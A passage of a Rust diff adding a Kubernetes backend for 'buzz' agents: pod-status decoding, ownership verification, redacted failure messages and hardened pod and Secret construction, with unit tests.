+            keys.public_key().to_hex()
+        );
+    }
+
+    /// Kubernetes label *values* cap at 63 chars; a full hex pubkey is 64,
+    /// one over. That one-char overflow is the whole reason the selector is
+    /// truncated, so it gets an explicit test.
+    #[test]
+    fn label_value_fits_kubernetes_limit() {
+        let id = identity();
+        assert_eq!(id.pubkey_hex().len(), 64);
+        assert_eq!(id.label_pubkey().len(), 32);
+        assert!(id.label_pubkey().len() <= 63);
+    }
+
+    #[test]
+    fn pod_name_is_deterministic_and_dns_safe() {
+        let id = identity();
+        assert_eq!(id.pod_name(), id.pod_name());
+        assert_eq!(
+            id.pod_name(),
+            format!("buzz-agent-{}", &id.pubkey_hex()[..12])
+        );
+        assert!(id.pod_name().len() <= 253);
+        assert!(id
+            .pod_name()
+            .chars()
+            .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-'));
+    }
+
+    /// Two attempts must never share a Secret name — that uniqueness is what
+    /// stops a losing contender from overwriting the winner's identity.
+    #[test]
+    fn secret_names_are_per_attempt() {
+        let id = identity();
+        let a = id.secret_name(&new_generation());
+        let b = id.secret_name(&new_generation());
+        assert_ne!(a, b);
+        assert!(a.starts_with(&id.pod_name()));
+        assert!(a.len() <= 253);
+    }
+
+    #[test]
+    fn selector_requires_the_management_marker() {
+        let id = identity();
+        let sel = id.selector();
+        assert!(sel.contains(&format!("{LABEL_AGENT_PUBKEY}={}", id.label_pubkey())));
+        assert!(sel.contains(&format!("{LABEL_MANAGED_BY}={MANAGED_BY}")));
+    }
+
+    #[test]
+    fn every_created_object_carries_the_marker() {
+        let labels = identity().labels();
+        assert_eq!(
+            labels.get(LABEL_MANAGED_BY).map(String::as_str),
+            Some(MANAGED_BY)
+        );
+        assert_eq!(
+            labels.get(LABEL_BINDING_VERSION).map(String::as_str),
+            Some(BINDING_VERSION)
+        );
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/observe.rs b/crates/buzz-backend-kubernetes/src/observe.rs
new file mode 100644
index 0000000000..1c6c883563
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/observe.rs
@@ -0,0 +1,592 @@
+//! Decoding API objects into verified observations (spec §Deploy State
+//! Machine step 1).
+//!
+//! Pure: `Pod` in, [`VerifiedPod`] out. Keeping the decode here means the
+//! conformance tests drive the *shipped* decoder with real API types rather
+//! than a test-only stand-in, and it keeps `classify.rs` free of API types.
+//!
+//! Verification is the gate, not a filter: [`verify`] returns `None` for any
+//! object whose full-pubkey annotation does not equal the derived pubkey or
+//! that lacks the management marker, so an unverified object cannot reach
+//! classification, deletion, or the returned `agent_id`.
+
+use crate::classify::{Fence, PullFailure, Startup, VerifiedPod};
+use crate::intent::Fingerprint;
+use crate::naming::{
+    AgentIdentity, ANNOTATION_CREATE_INTENT, ANNOTATION_PUBKEY_FULL, BINDING_VERSION,
+    LABEL_BINDING_VERSION, LABEL_MANAGED_BY, MANAGED_BY,
+};
+use k8s_openapi::api::core::v1::{Pod, Secret};
+
+/// Container name the provider creates; status is read from this container.
+pub const CONTAINER_NAME: &str = "agent";
+
+/// The startup state, or a state that cannot be settled without one more read.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum StartupObservation {
+    Resolved(Startup),
+    /// `CreateContainerConfigError` — recoverable *unless* the referenced
+    /// Secret is confirmed absent by a most-recent read. The kubelet's reason
+    /// string is a hint; the provider verifies before treating it as fatal
+    /// (§Deploy State Machine: "provably" means a verified absence, never a
+    /// reason string).
+    ConfigErrorPendingSecretCheck {
+        secret_name: String,
+    },
+}
+
+/// Does this object carry the management marker (§Pod shape)?
+///
+/// Identity labels prove identity; the marker asserts protocol ownership.
+/// Without it an object that merely matches our schema fails closed.
+fn has_marker(labels: Option<&std::collections::BTreeMap<String, String>>) -> bool {
+    let Some(labels) = labels else { return false };
+    labels.get(LABEL_MANAGED_BY).map(String::as_str) == Some(MANAGED_BY)
+        && labels.get(LABEL_BINDING_VERSION).map(String::as_str) == Some(BINDING_VERSION)
+}
+
+/// Does the full-pubkey annotation equal the derived pubkey?
+///
+/// The 32-hex label is collision-*resistant*, not collision-free, which is
+/// why this check is normative rather than decorative (`:1152-1166`).
+fn annotation_matches(
+    annotations: Option<&std::collections::BTreeMap<String, String>>,
+    identity: &AgentIdentity,
+) -> bool {
+    annotations
+        .and_then(|a| a.get(ANNOTATION_PUBKEY_FULL))
+        .map(|v| v == identity.pubkey_hex())
+        .unwrap_or(false)
+}
+
+/// Is this Secret ours and this identity's? The same fence GC applies before
+/// deleting anything.
+pub fn secret_is_ours(secret: &Secret, identity: &AgentIdentity) -> bool {
+    has_marker(secret.metadata.labels.as_ref())
+        && annotation_matches(secret.metadata.annotations.as_ref(), identity)
+}
+
+/// Decode a pod's startup state from its status.
+///
+/// "Started" means `state.running` on our container — not pod phase. A pod can
+/// sit in phase `Running` with a container that never started, and a pod being
+/// gracefully deleted stays in phase `Running` for its whole grace period.
+pub fn decode_startup(pod: &Pod) -> StartupObservation {
+    use StartupObservation::Resolved;
+
+    let status = pod.status.as_ref();
+    let phase = status.and_then(|s| s.phase.as_deref());
+
+    let container = status
+        .and_then(|s| s.container_statuses.as_ref())
+        .and_then(|cs| cs.iter().find(|c| c.name == CONTAINER_NAME));
+
+    if let Some(state) = container.and_then(|c| c.state.as_ref()) {
+        if state.running.is_some() {
+            return Resolved(Startup::Started);
+        }
+        if state.terminated.is_some() {
+            return Resolved(Startup::Terminated);
+        }
+        if let Some(waiting) = state.waiting.as_ref() {
+            let reason = waiting.reason.as_deref().unwrap_or_default();
+            let message = waiting.message.as_deref().unwrap_or_default();
+            return match reason {
+                // Structurally invalid reference: no retry can fix it.
+                "InvalidImageName" => Resolved(Startup::NeverStartedProvablyBroken),
+                "ErrImagePull" | "ImagePullBackOff" => match classify_pull_failure(message) {
+                    Some(failure) => Resolved(Startup::NeverStartedPullFailing(failure)),
+                    None => Resolved(Startup::NeverStartedRecoverable),
+                },
+                "CreateContainerConfigError" => match referenced_secret(pod) {
+                    Some(secret_name) => {
+                        StartupObservation::ConfigErrorPendingSecretCheck { secret_name }
+                    }
+                    None => Resolved(Startup::NeverStartedRecoverable),
+                },
+                _ => Resolved(Startup::NeverStartedRecoverable),
+            };
+        }
+    }
+
+    // No container status yet (unscheduled, image pulling before the kubelet
+    // reports, quota-blocked). A terminal phase without container status still
+    // means the pod is done.
+    match phase {
+        Some("Succeeded") | Some("Failed") => Resolved(Startup::Terminated),
+        _ => Resolved(Startup::NeverStartedRecoverable),
+    }
+}
+
+/// The Secret name this pod's `envFrom` references, if any.
+pub fn referenced_secret(pod: &Pod) -> Option<String> {
+    pod.spec
+        .as_ref()?
+        .containers
+        .iter()
+        .flat_map(|c| c.env_from.iter().flatten())
+        .find_map(|source| source.secret_ref.as_ref().map(|r| r.name.clone()))
+}
+
+/// Classify a pull failure from the kubelet's message.
+///
+/// Reporting only — [`PullFailure`] is structurally excluded from
+/// `Action::Delete`, so a wrong guess here can delay a report but can never
+/// destroy anything. `None` means "no permanent cause recognized", which
+/// leaves the pod on the ordinary observational path.
+fn classify_pull_failure(message: &str) -> Option<PullFailure> {
+    let m = message.to_ascii_lowercase();
+    if m.contains("401")
+        || m.contains("unauthorized")
+        || m.contains("403")
+        || m.contains("denied")
+        || m.contains("authentication required")
+    {
+        return Some(PullFailure::Unauthorized);
+    }
+    if m.contains("manifest unknown")
+        || m.contains("not found")
+        || m.contains("manifest_unknown")
+        || m.contains("repository does not exist")
+    {
+        return Some(PullFailure::ManifestUnknown);
+    }
+    if m.contains("no match for platform") || m.contains("no matching manifest") {
+        return Some(PullFailure::ArchMismatch);
+    }
+    None
+}
+
+/// The redacted, actionable condition text for a pull failure.
+///
+/// Names the registry and the immutable reference — never credentials, and
+/// never the kubelet's raw message, which can echo a registry token.
+pub fn pull_failure_message(failure: PullFailure, image: &str) -> String {
+    let registry = image.split('/').next().unwrap_or(image);
+    match failure {
+        PullFailure::Unauthorized => format!(
+            "the cluster is not authorized to pull {image} from {registry}. \
+             This pull retries indefinitely and will not succeed on its own: \
+             grant the cluster's nodes access to that registry."
+        ),
+        PullFailure::ManifestUnknown => {
+            format!("{registry} has no image at {image}. Check the digest and repository.")
+        }
+        PullFailure::ArchMismatch => format!(
+            "{image} has no variant for the architecture of the nodes it was \
+             scheduled on."
+        ),
+    }
+}
+
+/// The latest actionable condition for a pod that has not started, redacted.
+///
+/// Two sources, deliberately treated differently:
+///
+/// * The container's waiting **reason** is included; its **message** is not.
+///   Waiting messages are kubelet-composed and echo the thing that failed —
+///   for a pull that is the registry request, which can carry credential
+///   material. The reason token alone (`ImagePullBackOff`,
+///   `CreateContainerConfigError`) is the diagnostic; the message adds
+///   exposure, not information the user can act on.
+/// * Pod-condition messages **are** included. They are scheduler- and
+///   kubelet-composed from the pod's own spec and cluster capacity
+///   ("0/3 nodes are available: Insufficient memory"), which is precisely the
+///   actionable half and contains nothing derived from Secret data.
+pub fn condition(pod: &Pod) -> Option<String> {
+    let status = pod.status.as_ref()?;
+
+    if let Some(state) = status
+        .container_statuses
+        .as_ref()
+        .and_then(|cs| cs.iter().find(|c| c.name == CONTAINER_NAME))
+        .and_then(|c| c.state.as_ref())
+    {
+        if let Some(waiting) = state.waiting.as_ref() {
+            if let Some(reason) = waiting.reason.as_deref() {
+                return Some(format!("the container is waiting, reason {reason}"));
+            }
+        }
+        // Exit code and reason only — the terminated `message` is
+        // process-composed output and falls under the same redaction rule as
+        // waiting messages.
+        if let Some(terminated) = state.terminated.as_ref() {
+            return Some(match terminated.reason.as_deref() {
+                Some(reason) => format!(
+                    "the container exited with code {} ({reason})",
+                    terminated.exit_code
+                ),
+                None => format!("the container exited with code {}", terminated.exit_code),
+            });
+        }
+    }
+
+    if let Some((type_, reason, message)) = status.conditions.as_ref().and_then(|cs| {
+        cs.iter().find(|c| c.status == "False").map(|c| {
+            (
+                c.type_.clone(),
+                c.reason.clone().unwrap_or_default(),
+                c.message.clone().unwrap_or_default(),
+            )
+        })
+    }) {
+        let detail = [reason, message]
+            .into_iter()
+            .filter(|s| !s.is_empty())
+            .collect::<Vec<_>>()
+            .join(": ");
+        return Some(if detail.is_empty() {
+            format!("pod condition {type_} is false")
+        } else {
+            format!("pod condition {type_} is false: {detail}")
+        });
+    }
+
+    status.phase.as_deref().map(|p| format!("the pod is {p}"))
+}
+
+/// Verify a label-selected pod and decode it, or reject it.
+///
+/// `startup` is supplied by the caller because settling
+/// `CreateContainerConfigError` needs a most-recent Secret read the pure layer
+/// must not perform.
+pub fn verify(pod: &Pod, identity: &AgentIdentity, startup: Startup) -> Option<VerifiedPod> {
+    if !has_marker(pod.metadata.labels.as_ref()) {
+        return None;
+    }
+    if !annotation_matches(pod.metadata.annotations.as_ref(), identity) {
+        return None;
+    }
+    Some(VerifiedPod {
+        name: pod.metadata.name.clone()?,
+        fence: Fence {
+            uid: pod.metadata.uid.clone()?,
+            resource_version: pod.metadata.resource_version.clone()?,
+        },
+        deletion_marked: pod.metadata.deletion_timestamp.is_some(),
+        startup,
+        recorded_intent: pod
+            .metadata
+            .annotations
+            .as_ref()
+            .and_then(|a| a.get(ANNOTATION_CREATE_INTENT))
+            .map(|v| Fingerprint::from_annotation(v)),
+    })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use k8s_openapi::api::core::v1::{
+        ContainerState, ContainerStateRunning, ContainerStateTerminated, ContainerStateWaiting,
+        ContainerStatus, PodStatus,
+    };
+    use k8s_openapi::apimachinery::pkg::apis::meta::v1::{ObjectMeta, Time};
+    use std::collections::BTreeMap;
+
+    fn identity() -> AgentIdentity {
+        use nostr::nips::nip19::ToBech32;
+        let keys = nostr::Keys::generate();
+        AgentIdentity::from_nsec(&keys.secret_key().to_bech32().unwrap()).unwrap()
+    }
+
+    fn base_pod(id: &AgentIdentity) -> Pod {
+        Pod {
+            metadata: ObjectMeta {
+                name: Some(id.pod_name()),
+                uid: Some("uid-1".into()),
+                resource_version: Some("100".into()),
+                labels: Some(id.labels()),
+                annotations: Some(
+                    [(
+                        ANNOTATION_PUBKEY_FULL.to_string(),
+                        id.pubkey_hex().to_string(),
+                    )]
+                    .into_iter()
+                    .collect::<BTreeMap<_, _>>(),
+                ),
+                ..Default::default()
+            },
+            ..Default::default()
+        }
+    }
+
+    fn with_container_state(mut pod: Pod, state: ContainerState) -> Pod {
+        pod.status = Some(PodStatus {
+            phase: Some("Running".into()),
+            container_statuses: Some(vec![ContainerStatus {
+                name: CONTAINER_NAME.into(),
+                state: Some(state),
+                ..Default::default()
+            }]),
+            ..Default::default()
+        });
+        pod
+    }
+
+    fn waiting(reason: &str, message: &str) -> ContainerState {
+        ContainerState {
+            waiting: Some(ContainerStateWaiting {
+                reason: Some(reason.into()),
+                message: Some(message.into()),
+            }),
+            ..Default::default()
+        }
+    }
+
+    #[test]
+    fn running_container_is_started() {
+        let id = identity();
+        let pod = with_container_state(
+            base_pod(&id),
+            ContainerState {
+                running: Some(ContainerStateRunning::default()),
+                ..Default::default()
+            },
+        );
+        assert_eq!(
+            decode_startup(&pod),
+            StartupObservation::Resolved(Startup::Started)
+        );
+    }
+
+    /// Pod phase is not the criterion. A pod in phase `Running` whose
+    /// container never started must NOT read as started, or the reconciler
+    /// no-ops on a pod that will never serve.
+    #[test]
+    fn phase_running_with_waiting_container_is_not_started() {
+        let id = identity();
+        let pod = with_container_state(base_pod(&id), waiting("ContainerCreating", ""));
+        assert_eq!(
+            decode_startup(&pod),
+            StartupObservation::Resolved(Startup::NeverStartedRecoverable)
+        );
+    }
+
+    #[test]
+    fn terminated_container_is_terminated() {
+        let id = identity();
+        let pod = with_container_state(
+            base_pod(&id),
+            ContainerState {
+                terminated: Some(ContainerStateTerminated {
+                    exit_code: 0,
+                    ..Default::default()
+                }),
+                ..Default::default()
+            },
+        );
+        assert_eq!(
+            decode_startup(&pod),
+            StartupObservation::Resolved(Startup::Terminated)
+        );
+    }
+
+    /// A terminal phase with no container status (evicted before the kubelet
+    /// reported) is still terminated — otherwise the residue is never GC'd.
+    #[test]
+    fn terminal_phase_without_container_status_is_terminated() {
+        let id = identity();
+        for phase in ["Succeeded", "Failed"] {
+            let mut pod = base_pod(&id);
+            pod.status = Some(PodStatus {
+                phase: Some(phase.into()),
+                ..Default::default()
+            });
+            assert_eq!(
+                decode_startup(&pod),
+                StartupObservation::Resolved(Startup::Terminated),
+                "phase {phase}"
+            );
+        }
+    }
+
+    #[test]
+    fn invalid_image_name_is_provably_broken() {
+        let id = identity();
+        let pod = with_container_state(base_pod(&id), waiting("InvalidImageName", "bad ref"));
+        assert_eq!(
+            decode_startup(&pod),
+            StartupObservation::Resolved(Startup::NeverStartedProvablyBroken)
+        );
+    }
+
+    /// Permanent pull failures are recognized from the message; anything
+    /// unrecognized stays on the ordinary observational path rather than
+    /// being guessed at.
+    #[test]
+    fn permanent_pull_failures_are_classified() {
+        let id = identity();
+        let cases = [
+            ("401 Unauthorized", PullFailure::Unauthorized),
+            ("pull access denied", PullFailure::Unauthorized),
+            ("manifest unknown", PullFailure::ManifestUnknown),
+            (
+                "no match for platform in manifest",
+                PullFailure::ArchMismatch,
+            ),
+        ];
+        for (message, expected) in cases {
+            let pod = with_container_state(base_pod(&id), waiting("ErrImagePull", message));
+            assert_eq!(
+                decode_startup(&pod),
+                StartupObservation::Resolved(Startup::NeverStartedPullFailing(expected)),
+                "message {message:?}"
+            );
+        }
+
+        let pod = with_container_state(
+            base_pod(&id),
+            waiting("ImagePullBackOff", "dial tcp: i/o timeout"),
+        );
+        assert_eq!(
+            decode_startup(&pod),
+            StartupObservation::Resolved(Startup::NeverStartedRecoverable),
+            "a transient network failure must not be reported as permanent"
+        );
+    }
+
+    /// The kubelet's reason string is a hint, not proof: a config error defers
+    /// to a most-recent Secret read before anything is called broken.
+    #[test]
+    fn config_error_defers_to_a_secret_read() {
+        let id = identity();
+        let mut pod =
+            with_container_state(base_pod(&id), waiting("CreateContainerConfigError", ""));
+        pod.spec = Some(k8s_openapi::api::core::v1::PodSpec {
+            containers: vec![k8s_openapi::api::core::v1::Container {
+                name: CONTAINER_NAME.into(),
+                env_from: Some(vec![k8s_openapi::api::core::v1::EnvFromSource {
+                    secret_ref: Some(k8s_openapi::api::core::v1::SecretEnvSource {
+                        name: "buzz-agent-abc-gen1".into(),
+                        optional: Some(false),
+                    }),
+                    ..Default::default()
+                }]),
+                ..Default::default()
+            }],
+            ..Default::default()
+        });
+        assert_eq!(
+            decode_startup(&pod),
+            StartupObservation::ConfigErrorPendingSecretCheck {
+                secret_name: "buzz-agent-abc-gen1".into()
+            }
+        );
+    }
+
+    /// The auto-repair fence: an object that matches our schema but lacks the
+    /// marker, or carries someone else's pubkey, is never verified — so it can
+    /// never be no-op'd against, deleted, or returned as an `agent_id`.
+    #[test]
+    fn unmarked_or_mismatched_objects_fail_verification() {
+        let id = identity();
+        let other = identity();
+
+        let mut unmarked = base_pod(&id);
+        unmarked.metadata.labels = Some(BTreeMap::new());
+        assert!(
+            verify(&unmarked, &id, Startup::Started).is_none(),
+            "unmarked pod verified"
+        );
+
+        let mut wrong_version = base_pod(&id);
+        let mut labels = id.labels();
+        labels.insert(LABEL_BINDING_VERSION.to_string(), "999".to_string());
+        wrong_version.metadata.labels = Some(labels);
+        assert!(verify(&wrong_version, &id, Startup::Started).is_none());
+
+        let mut mismatched = base_pod(&id);
+        mismatched.metadata.annotations = Some(
+            [(
+                ANNOTATION_PUBKEY_FULL.to_string(),
+                other.pubkey_hex().to_string(),
+            )]
+            .into_iter()
+            .collect(),
+        );
+        assert!(
+            verify(&mismatched, &id, Startup::Started).is_none(),
+            "collision verified"
+        );
+
+        let mut missing = base_pod(&id);
+        missing.metadata.annotations = Some(BTreeMap::new());
+        assert!(verify(&missing, &id, Startup::Started).is_none());
+
+        assert!(
+            verify(&base_pod(&id), &id, Startup::Started).is_some(),
+            "own pod rejected"
+        );
+    }
+
+    /// The fence must come from the observed object, and the deletion mark
+    /// must be read even though the phase says `Running`.
+    #[test]
+    fn verified_pod_carries_the_fence_and_deletion_mark() {
+        let id = identity();
+        let mut pod = base_pod(&id);
+        pod.metadata.deletion_timestamp = Some(Time(chrono::Utc::now()));
+        let verified = verify(&pod, &id, Startup::Started).unwrap();
+        assert_eq!(verified.fence.uid, "uid-1");
+        assert_eq!(verified.fence.resource_version, "100");
+        assert!(verified.deletion_marked);
+    }
+
+    /// A pod with no recorded intent reads as `None`, which the classifier
+    /// groups with divergence.
+    #[test]
+    fn missing_intent_annotation_decodes_as_none() {
+        let id = identity();
+        assert!(verify(&base_pod(&id), &id, Startup::Started)
+            .unwrap()
+            .recorded_intent
+            .is_none());
+    }
+
+    /// A pull-failure report must name the registry and the immutable
+    /// reference and nothing else — never the kubelet's raw message, which
+    /// can echo a registry token.
+    #[test]
+    fn pull_failure_messages_are_actionable_and_redacted() {
+        let image = format!("ghcr.io/block/buzz-sprig@sha256:{}", "a".repeat(64));
+        for failure in [
+            PullFailure::Unauthorized,
+            PullFailure::ManifestUnknown,
+            PullFailure::ArchMismatch,
+        ] {
+            let msg = pull_failure_message(failure, &image);
+            assert!(msg.contains("ghcr.io"), "{msg}");
+            assert!(msg.contains(&image), "{msg}");
+            for secret in ["Bearer", "password", "nsec1", "token"] {
+                assert!(!msg.contains(secret), "leaked {secret}: {msg}");
+            }
+        }
+    }
+
+    #[test]
+    fn secret_ownership_requires_marker_and_annotation() {
+        let id = identity();
+        let other = identity();
+        let ours = Secret {
+            metadata: ObjectMeta {
+                labels: Some(id.labels()),
+                annotations: Some(
+                    [(
+                        ANNOTATION_PUBKEY_FULL.to_string(),
+                        id.pubkey_hex().to_string(),
+                    )]
+                    .into(),
+                ),
+                ..Default::default()
+            },
+            ..Default::default()
+        };
+        assert!(secret_is_ours(&ours, &id));
+        assert!(!secret_is_ours(&ours, &other));
+
+        let mut unmarked = ours.clone();
+        unmarked.metadata.labels = Some(BTreeMap::new());
+        assert!(!secret_is_ours(&unmarked, &id));
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/pod.rs b/crates/buzz-backend-kubernetes/src/pod.rs
new file mode 100644
index 0000000000..725f98fc7d
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/pod.rs
@@ -0,0 +1,446 @@
+//! Pod and Secret construction (spec §Pod shape, §K8s Secrets).
+//!
+//! The builder is pure: it turns resolved inputs into API objects and performs
+//! no I/O, so every normative field is a unit assertion.
+
+use crate::config::{
+    ProviderConfig, RESTART_POLICY, RUN_AS_GID, RUN_AS_UID, TERMINATION_GRACE_SECONDS,
+    WORKSPACE_PATH,
+};
+use crate::intent::{Fingerprint, IntentTemplate};
+use crate::naming::{
+    AgentIdentity, ANNOTATION_CREATE_INTENT, ANNOTATION_IMAGE, ANNOTATION_PUBKEY_FULL,
+};
+use k8s_openapi::api::core::v1::{
+    Capabilities, Container, EmptyDirVolumeSource, EnvFromSource, Pod, PodSecurityContext, PodSpec,
+    ResourceRequirements, SeccompProfile, Secret, SecretEnvSource, SecurityContext, Volume,
+    VolumeMount,
+};
+use k8s_openapi::apimachinery::pkg::api::resource::Quantity;
+use k8s_openapi::apimachinery::pkg::apis::meta::v1::ObjectMeta;
+use std::collections::BTreeMap;
+
+/// Volume name for the agent's writable workspace.
+const WORKSPACE_VOLUME: &str = "workspace";
+
+/// The container name. Fixed: log and exec tooling addresses it by name.
+const CONTAINER_NAME: &str = "agent";
+
+/// Build the per-attempt Secret holding the resolved environment.
+///
+/// `immutable: true` — the Secret is written once per attempt and never
+/// updated, which is what lets the pod's `envFrom` reference be treated as an
+/// atomic binding to this exact payload (§K8s Secrets).
+pub fn build_secret(
+    identity: &AgentIdentity,
+    namespace: &str,
+    generation: &str,
+    env: BTreeMap<String, String>,
+) -> Secret {
+    Secret {
+        metadata: ObjectMeta {
+            name: Some(identity.secret_name(generation)),
+            namespace: Some(namespace.to_string()),
+            labels: Some(identity.labels()),
+            annotations: Some(
+                [(
+                    ANNOTATION_PUBKEY_FULL.to_string(),
+                    identity.pubkey_hex().to_string(),
+                )]
+                .into_iter()
+                .collect(),
+            ),
+            ..Default::default()
+        },
+        string_data: Some(env),
+        immutable: Some(true),
+        ..Default::default()
+    }
+}
+
+/// Build the pod for one create attempt.
+///
+/// The `fingerprint` is computed from [`intent_template`] over a type that
+/// cannot contain the generation or any Secret value, so it is stable across
+/// attempts of the same configuration.
+pub fn build_pod(
+    identity: &AgentIdentity,
+    cfg: &ProviderConfig,
+    generation: &str,
+    fingerprint: &Fingerprint,
+) -> Pod {
+    let annotations: BTreeMap<String, String> = [
+        (
+            ANNOTATION_PUBKEY_FULL.to_string(),
+            identity.pubkey_hex().to_string(),
+        ),
+        (
+            ANNOTATION_CREATE_INTENT.to_string(),
+            fingerprint.as_str().to_string(),
+        ),
+        (ANNOTATION_IMAGE.to_string(), cfg.image.as_str().to_string()),
+    ]
+    .into_iter()
+    .collect();
+
+    let requests: BTreeMap<String, Quantity> = [
+        (
+            "cpu".to_string(),
+            Quantity(cfg.resources.cpu_request.clone()),
+        ),
+        (
+            "memory".to_string(),
+            Quantity(cfg.resources.memory_request.clone()),
+        ),
+    ]
+    .into_iter()
+    .collect();
+    let limits: BTreeMap<String, Quantity> = [
+        ("cpu".to_string(), Quantity(cfg.resources.cpu_limit.clone())),
+        (
+            "memory".to_string(),
+            Quantity(cfg.resources.memory_limit.clone()),
+        ),
+    ]
+    .into_iter()
+    .collect();
+
+    let container = Container {
+        name: CONTAINER_NAME.to_string(),
+        image: Some(cfg.image.as_str().to_string()),
+        // No `command`/`args`: the image's entrypoint execs the harness as
+        // PID 1 (§Entrypoint). Overriding it here would be how a provider
+        // accidentally puts a shell in front of the signal receiver.
+        env_from: Some(vec![EnvFromSource {
+            secret_ref: Some(SecretEnvSource {
+                name: identity.secret_name(generation),
+                optional: Some(false),
+            }),
+            ..Default::default()
+        }]),
+        resources: Some(ResourceRequirements {
+            requests: Some(requests),
+            limits: Some(limits),
+            ..Default::default()
+        }),
+        volume_mounts: Some(vec![VolumeMount {
+            name: WORKSPACE_VOLUME.to_string(),
+            mount_path: WORKSPACE_PATH.to_string(),
+            ..Default::default()
+        }]),
+        security_context: Some(SecurityContext {
+            allow_privilege_escalation: Some(false),
+            capabilities: Some(Capabilities {
+                drop: Some(vec!["ALL".to_string()]),
+                ..Default::default()
+            }),
+            // `readOnlyRootFilesystem` is deliberately unset: the sprig
+            // toolchain writes outside the workspace mount (§Pod shape).
+            ..Default::default()
+        }),
+        ..Default::default()
+    };
+
+    Pod {
+        metadata: ObjectMeta {
+            name: Some(identity.pod_name()),
+            namespace: Some(cfg.namespace.clone()),
+            labels: Some(identity.labels()),
+            annotations: Some(annotations),
+            ..Default::default()
+        },
+        spec: Some(PodSpec {
+            containers: vec![container],
+            restart_policy: Some(RESTART_POLICY.to_string()),
+            termination_grace_period_seconds: Some(TERMINATION_GRACE_SECONDS),
+            // The agent runs prompted, untrusted code while holding an nsec;
+            // an ambient ServiceAccount token would be an API-stealable
+            // credential it never needs (§Pod shape hardening). Naming a
+            // service account selects a scheduling/RBAC identity and MUST NOT
+            // re-enable token mounting.
+            automount_service_account_token: Some(false),
+            service_account_name: cfg.service_account.clone(),
+            security_context: Some(PodSecurityContext {
+                run_as_non_root: Some(true),
+                run_as_user: Some(RUN_AS_UID),
+                run_as_group: Some(RUN_AS_GID),
+                fs_group: Some(RUN_AS_GID),
+                seccomp_profile: Some(SeccompProfile {
+                    type_: "RuntimeDefault".to_string(),
+                    ..Default::default()
+                }),
+                ..Default::default()
+            }),
+            volumes: Some(vec![Volume {
+                name: WORKSPACE_VOLUME.to_string(),
+                empty_dir: Some(EmptyDirVolumeSource::default()),
+                ..Default::default()
+            }]),
+            ..Default::default()
+        }),
+        ..Default::default()
+    }
+}
+
+/// The create-intent template for this configuration (§Deploy State Machine).
+pub fn intent_template(
+    cfg: &ProviderConfig,
+    env_keys: impl IntoIterator<Item = String>,
+) -> IntentTemplate {
+    IntentTemplate::new(
+        &cfg.namespace,
+        &cfg.image,
+        &cfg.resources,
+        cfg.service_account.as_deref(),
+        env_keys,
+    )
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::config;
+
+    fn identity() -> AgentIdentity {
+        use nostr::nips::nip19::ToBech32;
+        let keys = nostr::Keys::generate();
+        AgentIdentity::from_nsec(&keys.secret_key().to_bech32().unwrap()).unwrap()
+    }
+
+    fn provider_config() -> ProviderConfig {
+        config::parse(&serde_json::json!({
+            "namespace": "buzz-agents-test",
+            "image": format!("ghcr.io/block/buzz-sprig@sha256:{}", "a".repeat(64)),
+        }))
+        .unwrap()
+    }
+
+    fn pod() -> Pod {
+        let cfg = provider_config();
+        build_pod(
+            &identity(),
+            &cfg,
+            "gen00001",
+            &intent_template(&cfg, ["BUZZ_RELAY_URL".to_string()]).fingerprint(),
+        )
+    }
+
+    fn spec(pod: &Pod) -> &PodSpec {
+        pod.spec.as_ref().unwrap()
+    }
+
+    /// Every hardening default from §Pod shape, asserted individually so a
+    /// dropped one names itself.
+    #[test]
+    fn hardening_defaults_are_all_present() {
+        let pod = pod();
+        let spec = spec(&pod);
+        assert_eq!(spec.automount_service_account_token, Some(false));
+
+        let sc = spec
+            .security_context
+            .as_ref()
+            .expect("pod security context");
+        assert_eq!(sc.run_as_non_root, Some(true));
+        assert_eq!(sc.run_as_user, Some(RUN_AS_UID));
+        assert_ne!(sc.run_as_user, Some(0), "root UID");
+        assert_eq!(sc.run_as_group, Some(RUN_AS_GID));
+        assert_eq!(
+            sc.seccomp_profile.as_ref().map(|p| p.type_.as_str()),
+            Some("RuntimeDefault")
+        );
+
+        let csc = spec.containers[0]
+            .security_context
+            .as_ref()
+            .expect("container sc");
+        assert_eq!(csc.allow_privilege_escalation, Some(false));
+        assert_eq!(
+            csc.capabilities.as_ref().and_then(|c| c.drop.clone()),
+            Some(vec!["ALL".to_string()])
+        );
+        assert_ne!(csc.privileged, Some(true));
+    }
+
+    /// The forbidden host-namespace and hostPath escapes, asserted as absence.
+    #[test]
+    fn never_uses_host_namespaces_or_host_paths() {
+        let pod = pod();
+        let spec = spec(&pod);
+        assert!(spec.host_pid.is_none() || spec.host_pid == Some(false));
+        assert!(spec.host_network.is_none() || spec.host_network == Some(false));
+        assert!(spec.host_ipc.is_none() || spec.host_ipc == Some(false));
+        for volume in spec.volumes.as_ref().unwrap() {
+            assert!(
+                volume.host_path.is_none(),
+                "hostPath volume {}",
+                volume.name
+            );
+        }
+    }
+
+    /// `Never` only. `OnFailure` is gated on the harness exit-code contract
+    /// *and* a crash-loop classification row (`:1121-1139`); the config layer
+    /// refuses `inactivity_seconds: 0` so this arm is unreachable, and the
+    /// assertion keeps it that way.
+    #[test]
+    fn restart_policy_is_never() {
+        assert_eq!(spec(&pod()).restart_policy.as_deref(), Some("Never"));
+    }
+
+    /// 60s, not Kubernetes' default 30s — which would SIGKILL the harness
+    /// mid-drain and leave presence stale-online (§Pod shape).
+    #[test]
+    fn declares_the_sixty_second_grace_budget() {
+        assert_eq!(spec(&pod()).termination_grace_period_seconds, Some(60));
+    }
+
+    /// The pod must not override the image's entrypoint: the image execs the
+    /// harness as PID 1, and a `command` here is how a shell ends up in front
+    /// of the signal receiver (§Entrypoint).
+    #[test]
+    fn does_not_override_the_image_entrypoint() {
+        let pod = pod();
+        let container = &spec(&pod).containers[0];
+        assert!(container.command.is_none(), "overrode the entrypoint");
+        assert!(container.args.is_none());
+    }
+
+    #[test]
+    fn workspace_is_an_emptydir_mounted_at_home() {
+        let pod = pod();
+        let spec = spec(&pod);
+        let volume = &spec.volumes.as_ref().unwrap()[0];
+        assert!(volume.empty_dir.is_some());
+        assert!(volume.persistent_volume_claim.is_none());
